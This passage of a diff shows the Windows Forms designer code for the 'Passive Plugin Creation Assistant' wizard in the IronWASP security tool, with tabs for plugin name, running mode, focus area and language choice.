((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreePreviousBtn.Location = new System.Drawing.Point(8, 402); - this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; - this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreePreviousBtn.TabIndex = 10; - this.StepThreePreviousBtn.Text = "<-Previous Step"; - this.StepThreePreviousBtn.UseVisualStyleBackColor = true; - this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); - // - // StepThreeNextBtn - // - this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreeNextBtn.Location = new System.Drawing.Point(563, 402); - this.StepThreeNextBtn.Name = "StepThreeNextBtn"; - this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreeNextBtn.TabIndex = 9; - this.StepThreeNextBtn.Text = "Next Step ->"; - this.StepThreeNextBtn.UseVisualStyleBackColor = true; - this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); - // - // FinalTab - // - this.FinalTab.Controls.Add(this.PluginFileTB); - this.FinalTab.Controls.Add(this.label3); - this.FinalTab.Controls.Add(this.textBox1); - this.FinalTab.Controls.Add(this.FinalBtn); - this.FinalTab.Location = new System.Drawing.Point(4, 25); - this.FinalTab.Name = "FinalTab"; - this.FinalTab.Padding = new System.Windows.Forms.Padding(5); - this.FinalTab.Size = new System.Drawing.Size(676, 433); - this.FinalTab.TabIndex = 3; - this.FinalTab.Text = " Done "; - this.FinalTab.UseVisualStyleBackColor = true; - // - // PluginFileTB - // - this.PluginFileTB.Location = new System.Drawing.Point(77, 276); - this.PluginFileTB.Name = "PluginFileTB"; - this.PluginFileTB.Size = new System.Drawing.Size(591, 20); - this.PluginFileTB.TabIndex = 20; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(13, 279); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(58, 13); - this.label3.TabIndex = 19; - this.label3.Text = "Plugin File:"; - // - // textBox1 - // - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(18, 37); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(637, 209); - this.textBox1.TabIndex = 18; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // FinalBtn - // - this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FinalBtn.Location = new System.Drawing.Point(491, 390); - this.FinalBtn.Name = "FinalBtn"; - this.FinalBtn.Size = new System.Drawing.Size(177, 35); - this.FinalBtn.TabIndex = 16; - this.FinalBtn.Text = "Close this Assistant"; - this.FinalBtn.UseVisualStyleBackColor = true; - this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); - // - // PassivePluginCreationAssistant - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(684, 462); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(700, 500); - this.MinimumSize = new System.Drawing.Size(700, 500); - this.Name = "PassivePluginCreationAssistant"; - this.Text = "Passive Plugin Creation Assistant"; - this.BaseTabs.ResumeLayout(false); - this.NameTab.ResumeLayout(false); - this.NameTab.PerformLayout(); - this.PluginTypeTab.ResumeLayout(false); - this.PluginTypeTab.PerformLayout(); - this.groupBox1.ResumeLayout(false); - this.groupBox1.PerformLayout(); - this.PluginWorksOnGB.ResumeLayout(false); - this.PluginWorksOnGB.PerformLayout(); - this.LanguageTab.ResumeLayout(false); - this.LanguageTab.PerformLayout(); - this.groupBox2.ResumeLayout(false); - this.groupBox2.PerformLayout(); - this.FinalTab.ResumeLayout(false); - this.FinalTab.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage NameTab; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox PluginDescTB; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox PluginNameTB; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Button StepOneNextBtn; - private System.Windows.Forms.TabPage PluginTypeTab; - internal System.Windows.Forms.TextBox Step1StatusTB; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.Button StepTwoPreviousBtn; - private System.Windows.Forms.Button StepTwoNextBtn; - private System.Windows.Forms.TabPage LanguageTab; - private System.Windows.Forms.GroupBox groupBox2; - private System.Windows.Forms.RadioButton PluginLangRubyRB; - private System.Windows.Forms.RadioButton PluginLangPythonRB; - internal System.Windows.Forms.TextBox Step2StatusTB; - private System.Windows.Forms.TextBox textBox5; - private System.Windows.Forms.Button StepThreePreviousBtn; - private System.Windows.Forms.Button StepThreeNextBtn; - private System.Windows.Forms.TabPage FinalTab; - private System.Windows.Forms.Button FinalBtn; - private System.Windows.Forms.GroupBox groupBox1; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.RadioButton ModeInlineRB; - private System.Windows.Forms.RadioButton ModeOfflineRB; - private System.Windows.Forms.GroupBox PluginWorksOnGB; - private System.Windows.Forms.RadioButton WorksOnResponseRB; - private System.Windows.Forms.RadioButton WorksOnRequestRB; - private System.Windows.Forms.RadioButton WorksOnBothRB; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.TextBox PluginFileTB; - private System.Windows.Forms.Label label3; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class PassivePluginCreationAssistant + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PassivePluginCreationAssistant)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.NameTab = new System.Windows.Forms.TabPage(); + this.label2 = new System.Windows.Forms.Label(); + this.PluginDescTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.PluginNameTB = new System.Windows.Forms.TextBox(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.StepOneNextBtn = new System.Windows.Forms.Button(); + this.PluginTypeTab = new System.Windows.Forms.TabPage(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.PluginWorksOnGB = new System.Windows.Forms.GroupBox(); + this.WorksOnBothRB = new System.Windows.Forms.RadioButton(); + this.WorksOnResponseRB = new System.Windows.Forms.RadioButton(); + this.WorksOnRequestRB = new System.Windows.Forms.RadioButton(); + this.label6 = new System.Windows.Forms.Label(); + this.ModeInlineRB = new System.Windows.Forms.RadioButton(); + this.ModeOfflineRB = new System.Windows.Forms.RadioButton(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.StepTwoNextBtn = new System.Windows.Forms.Button(); + this.LanguageTab = new System.Windows.Forms.TabPage(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.PluginLangRubyRB = new System.Windows.Forms.RadioButton(); + this.PluginLangPythonRB = new System.Windows.Forms.RadioButton(); + this.Step2StatusTB = new System.Windows.Forms.TextBox(); + this.textBox5 = new System.Windows.Forms.TextBox(); + this.StepThreePreviousBtn = new System.Windows.Forms.Button(); + this.StepThreeNextBtn = new System.Windows.Forms.Button(); + this.FinalTab = new System.Windows.Forms.TabPage(); + this.PluginFileTB = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.FinalBtn = new System.Windows.Forms.Button(); + this.BaseTabs.SuspendLayout(); + this.NameTab.SuspendLayout(); + this.PluginTypeTab.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.PluginWorksOnGB.SuspendLayout(); + this.LanguageTab.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.FinalTab.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.NameTab); + this.BaseTabs.Controls.Add(this.PluginTypeTab); + this.BaseTabs.Controls.Add(this.LanguageTab); + this.BaseTabs.Controls.Add(this.FinalTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(684, 461); + this.BaseTabs.TabIndex = 17; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // NameTab + // + this.NameTab.Controls.Add(this.label2); + this.NameTab.Controls.Add(this.PluginDescTB); + this.NameTab.Controls.Add(this.label1); + this.NameTab.Controls.Add(this.PluginNameTB); + this.NameTab.Controls.Add(this.Step0StatusTB); + this.NameTab.Controls.Add(this.CancelBtn); + this.NameTab.Controls.Add(this.textBox2); + this.NameTab.Controls.Add(this.StepOneNextBtn); + this.NameTab.Location = new System.Drawing.Point(4, 25); + this.NameTab.Margin = new System.Windows.Forms.Padding(0); + this.NameTab.Name = "NameTab"; + this.NameTab.Padding = new System.Windows.Forms.Padding(5); + this.NameTab.Size = new System.Drawing.Size(676, 432); + this.NameTab.TabIndex = 0; + this.NameTab.Text = " Plugin Name "; + this.NameTab.UseVisualStyleBackColor = true; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(11, 145); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(95, 13); + this.label2.TabIndex = 10; + this.label2.Text = "Plugin Description:"; + // + // PluginDescTB + // + this.PluginDescTB.Location = new System.Drawing.Point(110, 142); + this.PluginDescTB.Name = "PluginDescTB"; + this.PluginDescTB.Size = new System.Drawing.Size(556, 20); + this.PluginDescTB.TabIndex = 9; + this.PluginDescTB.TextChanged += new System.EventHandler(this.PluginDescTB_TextChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(32, 98); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(70, 13); + this.label1.TabIndex = 8; + this.label1.Text = "Plugin Name:"; + // + // PluginNameTB + // + this.PluginNameTB.Location = new System.Drawing.Point(110, 95); + this.PluginNameTB.Name = "PluginNameTB"; + this.PluginNameTB.Size = new System.Drawing.Size(556, 20); + this.PluginNameTB.TabIndex = 7; + this.PluginNameTB.TextChanged += new System.EventHandler(this.PluginNameTB_TextChanged); + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.Location = new System.Drawing.Point(130, 374); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(409, 50); + this.Step0StatusTB.TabIndex = 6; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.CancelBtn.Location = new System.Drawing.Point(8, 401); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(105, 23); + this.CancelBtn.TabIndex = 4; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox2.Location = new System.Drawing.Point(5, 5); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(666, 61); + this.textBox2.TabIndex = 3; + this.textBox2.TabStop = false; + this.textBox2.Text = resources.GetString("textBox2.Text"); + // + // StepOneNextBtn + // + this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOneNextBtn.Location = new System.Drawing.Point(561, 401); + this.StepOneNextBtn.Name = "StepOneNextBtn"; + this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepOneNextBtn.TabIndex = 2; + this.StepOneNextBtn.Text = "Next Step ->"; + this.StepOneNextBtn.UseVisualStyleBackColor = true; + this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); + // + // PluginTypeTab + // + this.PluginTypeTab.Controls.Add(this.groupBox1); + this.PluginTypeTab.Controls.Add(this.Step1StatusTB); + this.PluginTypeTab.Controls.Add(this.textBox4); + this.PluginTypeTab.Controls.Add(this.StepTwoPreviousBtn); + this.PluginTypeTab.Controls.Add(this.StepTwoNextBtn); + this.PluginTypeTab.Location = new System.Drawing.Point(4, 25); + this.PluginTypeTab.Margin = new System.Windows.Forms.Padding(0); + this.PluginTypeTab.Name = "PluginTypeTab"; + this.PluginTypeTab.Padding = new System.Windows.Forms.Padding(5); + this.PluginTypeTab.Size = new System.Drawing.Size(676, 433); + this.PluginTypeTab.TabIndex = 1; + this.PluginTypeTab.Text = " Plugin Type "; + this.PluginTypeTab.UseVisualStyleBackColor = true; + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.PluginWorksOnGB); + this.groupBox1.Controls.Add(this.label6); + this.groupBox1.Controls.Add(this.ModeInlineRB); + this.groupBox1.Controls.Add(this.ModeOfflineRB); + this.groupBox1.Location = new System.Drawing.Point(8, 55); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(660, 331); + this.groupBox1.TabIndex = 27; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "Select the Plugin running mode:"; + // + // PluginWorksOnGB + // + this.PluginWorksOnGB.Controls.Add(this.WorksOnBothRB); + this.PluginWorksOnGB.Controls.Add(this.WorksOnResponseRB); + this.PluginWorksOnGB.Controls.Add(this.WorksOnRequestRB); + this.PluginWorksOnGB.Location = new System.Drawing.Point(8, 105); + this.PluginWorksOnGB.Name = "PluginWorksOnGB"; + this.PluginWorksOnGB.Size = new System.Drawing.Size(646, 105); + this.PluginWorksOnGB.TabIndex = 28; + this.PluginWorksOnGB.TabStop = false; + this.PluginWorksOnGB.Text = "Select the Plugin\'s Focus area:"; + this.PluginWorksOnGB.Visible = false; + // + // WorksOnBothRB + // + this.WorksOnBothRB.AutoSize = true; + this.WorksOnBothRB.Checked = true; + this.WorksOnBothRB.Location = new System.Drawing.Point(22, 74); + this.WorksOnBothRB.Name = "WorksOnBothRB"; + this.WorksOnBothRB.Size = new System.Drawing.Size(47, 17); + this.WorksOnBothRB.TabIndex = 26; + this.WorksOnBothRB.TabStop = true; + this.WorksOnBothRB.Text = "Both"; + this.WorksOnBothRB.UseVisualStyleBackColor = true; + // + // WorksOnResponseRB + // + this.WorksOnResponseRB.AutoSize = true; + this.WorksOnResponseRB.Location = new System.Drawing.Point(22, 51); + this.WorksOnResponseRB.Name = "WorksOnResponseRB"; + this.WorksOnResponseRB.Size = new System.Drawing.Size(267, 17); + this.WorksOnResponseRB.TabIndex = 25; + this.WorksOnResponseRB.Text = "Response. The Plugin is called only on Responses."; + this.WorksOnResponseRB.UseVisualStyleBackColor = true; + // + // WorksOnRequestRB + // + this.WorksOnRequestRB.AutoSize = true; + this.WorksOnRequestRB.Location = new System.Drawing.Point(22, 28); + this.WorksOnRequestRB.Name = "WorksOnRequestRB"; + this.WorksOnRequestRB.Size = new System.Drawing.Size(251, 17); + this.WorksOnRequestRB.TabIndex = 24; + this.WorksOnRequestRB.Text = "Request. The Plugin is called only on Requests."; + this.WorksOnRequestRB.UseVisualStyleBackColor = true; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(71, 71); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(303, 13); + this.label6.TabIndex = 26; + this.label6.Text = "Select this mode only if your plugin is going to modify the traffic."; + // + // ModeInlineRB + // + this.ModeInlineRB.AutoSize = true; + this.ModeInlineRB.Location = new System.Drawing.Point(22, 51); + this.ModeInlineRB.Name = "ModeInlineRB"; + this.ModeInlineRB.Size = new System.Drawing.Size(473, 17); + this.ModeInlineRB.TabIndex = 25; + this.ModeInlineRB.Text = "Inline .These plugins run inline on the traffic and can make changes to the Reque" + + "st/Response."; + this.ModeInlineRB.UseVisualStyleBackColor = true; + this.ModeInlineRB.CheckedChanged += new System.EventHandler(this.ModeInlineRB_CheckedChanged); + // + // ModeOfflineRB + // + this.ModeOfflineRB.AutoSize = true; + this.ModeOfflineRB.Checked = true; + this.ModeOfflineRB.Location = new System.Drawing.Point(22, 28); + this.ModeOfflineRB.Name = "ModeOfflineRB"; + this.ModeOfflineRB.Size = new System.Drawing.Size(570, 17); + this.ModeOfflineRB.TabIndex = 24; + this.ModeOfflineRB.TabStop = true; + this.ModeOfflineRB.Text = "Offline. Offline plugins run in the background and are more efficient. But they c" + + "annot modify the Request/Response."; + this.ModeOfflineRB.UseVisualStyleBackColor = true; + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.Location = new System.Drawing.Point(119, 402); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(438, 23); + this.Step1StatusTB.TabIndex = 11; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // textBox4 + // + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox4.Location = new System.Drawing.Point(5, 5); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(666, 41); + this.textBox4.TabIndex = 9; + this.textBox4.TabStop = false; + this.textBox4.Text = "\r\nPassive Plugins can be of different types. In this sections you can define the " + + "type of Passive Plugin you want to create.\r\n\r\n"; + // + // StepTwoPreviousBtn + // + this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 402); + this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; + this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoPreviousBtn.TabIndex = 8; + this.StepTwoPreviousBtn.Text = "<-Previous Step"; + this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); + // + // StepTwoNextBtn + // + this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoNextBtn.Location = new System.Drawing.Point(563, 402); + this.StepTwoNextBtn.Name = "StepTwoNextBtn"; + this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoNextBtn.TabIndex = 7; + this.StepTwoNextBtn.Text = "Next Step ->"; + this.StepTwoNextBtn.UseVisualStyleBackColor = true; + this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); + // + // LanguageTab + // + this.LanguageTab.Controls.Add(this.groupBox2); + this.LanguageTab.Controls.Add(this.Step2StatusTB); + this.LanguageTab.Controls.Add(this.textBox5); + this.LanguageTab.Controls.Add(this.StepThreePreviousBtn); + this.LanguageTab.Controls.Add(this.StepThreeNextBtn); + this.LanguageTab.Location = new System.Drawing.Point(4, 25); + this.LanguageTab.Name = "LanguageTab"; + this.LanguageTab.Padding = new System.Windows.Forms.Padding(5); + this.LanguageTab.Size = new System.Drawing.Size(676, 433); + this.LanguageTab.TabIndex = 2; + this.LanguageTab.Text = " Select Language "; + this.LanguageTab.UseVisualStyleBackColor = true; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.PluginLangRubyRB); + this.groupBox2.Controls.Add(this.PluginLangPythonRB); + this.groupBox2.Location = new System.Drawing.Point(7, 114); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(660, 110); + this.groupBox2.TabIndex = 20; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Which language should the plugin be created in?"; + // + // PluginLangRubyRB + // + this.PluginLangRubyRB.AutoSize = true; + this.PluginLangRubyRB.Location = new System.Drawing.Point(12, 79); + this.PluginLangRubyRB.Name = "PluginLangRubyRB"; + this.PluginLangRubyRB.Size = new System.Drawing.Size(50, 17); + this.PluginLangRubyRB.TabIndex = 15; + this.PluginLangRubyRB.Text = "Ruby"; + this.PluginLangRubyRB.UseVisualStyleBackColor = true; + // + // PluginLangPythonRB + // + this.PluginLangPythonRB.AutoSize = true; + this.PluginLangPythonRB.Checked = true; + this.PluginLangPythonRB.Location = new System.Drawing.Point(12, 29); + this.PluginLangPythonRB.Name = "PluginLangPythonRB"; + this.PluginLangPythonRB.Size = new System.Drawing.Size(58, 17); + this.PluginLangPythonRB.TabIndex = 14; + this.PluginLangPythonRB.TabStop = true; + this.PluginLangPythonRB.Text = "Python"; + this.PluginLangPythonRB.UseVisualStyleBackColor = true; + // + // Step2StatusTB + // + this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step2StatusTB.Location = new System.Drawing.Point(132, 385); + this.Step2StatusTB.Multiline = true; + this.Step2StatusTB.Name = "Step2StatusTB"; + this.Step2StatusTB.Size = new System.Drawing.Size(410, 40); + this.Step2StatusTB.TabIndex = 13; + this.Step2StatusTB.TabStop = false; + this.Step2StatusTB.Visible = false; + // + // textBox5 + // + this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox5.Location = new System.Drawing.Point(5, 5); + this.textBox5.Multiline = true; + this.textBox5.Name = "textBox5"; + this.textBox5.ReadOnly = true; + this.textBox5.Size = new System.Drawing.Size(666, 77); + this.textBox5.TabIndex = 11; + this.textBox5.TabStop = false; + this.textBox5.Text = "\r\nActive Plugins can be written in Python or in Ruby. Choose you language of choi" + + "ce and this Active Plugin will be created in that language."; + // + // StepThreePreviousBtn + // + this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreePreviousBtn.Location = new System.Drawing.Point(8, 402); + this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; + this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreePreviousBtn.TabIndex = 10; + this.StepThreePreviousBtn.Text = "<-Previous Step"; + this.StepThreePreviousBtn.UseVisualStyleBackColor = true; + this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); + // + // StepThreeNextBtn + // + this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreeNextBtn.Location = new System.Drawing.Point(563, 402); + this.StepThreeNextBtn.Name = "StepThreeNextBtn"; + this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreeNextBtn.TabIndex = 9; + this.StepThreeNextBtn.Text = "Next Step ->"; + this.StepThreeNextBtn.UseVisualStyleBackColor = true; + this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); + // + // FinalTab + // + this.FinalTab.Controls.Add(this.PluginFileTB); + this.FinalTab.Controls.Add(this.label3); + this.FinalTab.Controls.Add(this.textBox1); + this.FinalTab.Controls.Add(this.FinalBtn); + this.FinalTab.Location = new System.Drawing.Point(4, 25); + this.FinalTab.Name = "FinalTab"; + this.FinalTab.Padding = new System.Windows.Forms.Padding(5); + this.FinalTab.Size = new System.Drawing.Size(676, 433); + this.FinalTab.TabIndex = 3; + this.FinalTab.Text = " Done "; + this.FinalTab.UseVisualStyleBackColor = true; + // + // PluginFileTB + // + this.PluginFileTB.Location = new System.Drawing.Point(77, 276); + this.PluginFileTB.Name = "PluginFileTB"; + this.PluginFileTB.Size = new System.Drawing.Size(591, 20); + this.PluginFileTB.TabIndex = 20; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(13, 279); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(58, 13); + this.label3.TabIndex = 19; + this.label3.Text = "Plugin File:"; + // + // textBox1 + // + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(18, 37); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(637, 209); + this.textBox1.TabIndex = 18; + this.textBox1.Text = resources.GetString("textBox1.Text"); + // + // FinalBtn + // + this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FinalBtn.Location = new System.Drawing.Point(491, 390); + this.FinalBtn.Name = "FinalBtn"; + this.FinalBtn.Size = new System.Drawing.Size(177, 35); + this.FinalBtn.TabIndex = 16; + this.FinalBtn.Text = "Close this Assistant"; + this.FinalBtn.UseVisualStyleBackColor = true; + this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); + // + // PassivePluginCreationAssistant + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(684, 461); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(700, 500); + this.MinimumSize = new System.Drawing.Size(700, 500); + this.Name = "PassivePluginCreationAssistant"; + this.Text = "Passive Plugin Creation Assistant"; + this.BaseTabs.ResumeLayout(false); + this.NameTab.ResumeLayout(false); + this.NameTab.PerformLayout(); + this.PluginTypeTab.ResumeLayout(false); + this.PluginTypeTab.PerformLayout(); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.PluginWorksOnGB.ResumeLayout(false); + this.PluginWorksOnGB.PerformLayout(); + this.LanguageTab.ResumeLayout(false); + this.LanguageTab.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.FinalTab.ResumeLayout(false); + this.FinalTab.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage NameTab; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox PluginDescTB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox PluginNameTB; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Button StepOneNextBtn; + private System.Windows.Forms.TabPage PluginTypeTab; + internal 